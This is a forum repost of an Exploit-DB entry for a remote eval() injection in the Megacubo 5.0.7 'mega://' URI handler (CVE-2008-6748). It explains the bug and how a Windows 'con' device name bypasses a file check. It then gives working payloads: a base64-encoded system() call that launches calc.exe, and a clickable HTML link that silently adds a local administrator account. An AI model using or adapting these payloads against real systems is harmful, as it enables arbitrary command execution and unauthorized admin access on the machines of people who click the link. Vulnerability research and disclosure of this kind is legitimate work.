Exploit Megacubo 5.0.7 - 'mega://' Remote 'eval()' Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
7623
Проверка EDB
  1. Пройдено
Автор
NINE:SITUATIONS:GROUP
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2008-6748
Дата публикации
2008-12-30
HTML:
<!--
Megacubo 5.0.7 (mega://) remote eval() injection exploit
by Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

tested against Internet Explorer 8 beta 2/xp sp 3

software site: http://www.megacubo.net/tv/
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023

description:
"Megacubo is a IPTV tuner application written in PHP + Winbinder.
It has a catalogue of links of TV streams which are available
for free in the web. At the moment it only runs on Windows(2000,
XP and Vista)."
(note that it is among most downloaded apps on sourceforge, http://sourceforge.net/softwaremap/trove_list.php?form_cat=99)

explaination:
it's possible to pass arbitrary php code to the "play" command
of "mega://" uri handler which is further copied to the
c:\DATASTORE.txt temporary file and evaluated, note the "con"
argument (which is a windows device name) to bypass a file_exists()
check

example exploit, this run calc.exe:

mega://play|con.."a()".system(base64_decode('Y21kIC9jIHN0YXJ0IGNhbGM='))."/?");print(

the following one execute:
cmd /c NET USER pyrokinesis pass /ADD && NET LOCALGROUP Administrators /ADD pyrokinesis
-->

<a href='mega://play|con.."a()".system(base64_decode(Y21kIC9jIE5FVCBVU0VSIHB5cm9raW5lc2lzIHBhc3MgL0FERCAmJiBORVQgTE9DQUxHUk9VUCBBZG1pbmlzdHJhdG9ycyAvQUREIHB5cm9raW5lc2lz))."/?");print('>pwn</a>

# milw0rm.com [2008-12-30]
 
Источник
www.exploit-db.com

Похожие темы